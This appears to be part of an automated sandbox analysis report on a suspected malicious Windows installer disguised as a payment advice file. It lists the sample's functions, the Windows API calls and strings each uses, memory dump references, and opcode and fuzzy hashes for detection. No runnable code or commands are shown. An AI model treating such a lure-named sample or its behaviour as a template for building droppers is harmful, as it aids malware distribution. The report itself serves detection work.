String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00401D41 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD88), ref: 00401DBC

Strings

Times New Roman, xrefs: 00401DA2

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction ID: 3b80acf522b7bf2f021413e8febbbf72b8f641a50adb0d53ac9f1aa9edf06097
Opcode Fuzzy Hash: 2e0cf1ae7789b1e5f567ac3b49d0821904878b54da257bbf53db2f94e685cd66
Instruction Fuzzy Hash: DF01D131948280AFEB016BB0AE0BB9ABF74DF95301F144479F245B62E2C77914049F7E

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

unpacking data: %d%%, xrefs: 00402CBF, 00402CCF
verifying installer: %d%%, xrefs: 00402CC6

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 100022EB Relevance: 9.1, APIs: 6, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID:
API String ID: 3579998418-0
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,7591FFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: d593e7263c37e61c996d4e257660d94f001a2630b08086f07ab1fbfa1127a49e
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: d593e7263c37e61c996d4e257660d94f001a2630b08086f07ab1fbfa1127a49e
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405935 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 0040593B
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00405945
lstrcatW.KERNEL32(?,00409014), ref: 00405957

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405935

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6247f5a3c9563be90945cd41d23768fa590745b080056b24a315d5606c671452
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: E5D05E21101921AAC21277448C04DDF669CEE45300384002AF200B20A2CB7C1D518BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 0040381F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75922EE0,004037F6,75923420,00403621,?), ref: 00403839
GlobalFree.KERNEL32(?), ref: 00403840

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403831

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction ID: bf490ea997193b46d556285b385326fb3516ec302950e4cd11f154ac4515a356
Opcode Fuzzy Hash: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction Fuzzy Hash: F9E0C23394102057C7216F15ED04B1ABBE86F89B22F018476F9407B7A283746C528BED

Function 00405981 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003), ref: 00405987
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003), ref: 00405997

Strings

C:\Users\user\Desktop, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: e5431d3d33a146c3150d202dfaa2e9e12a1dec100281116c20088c3141bfb115
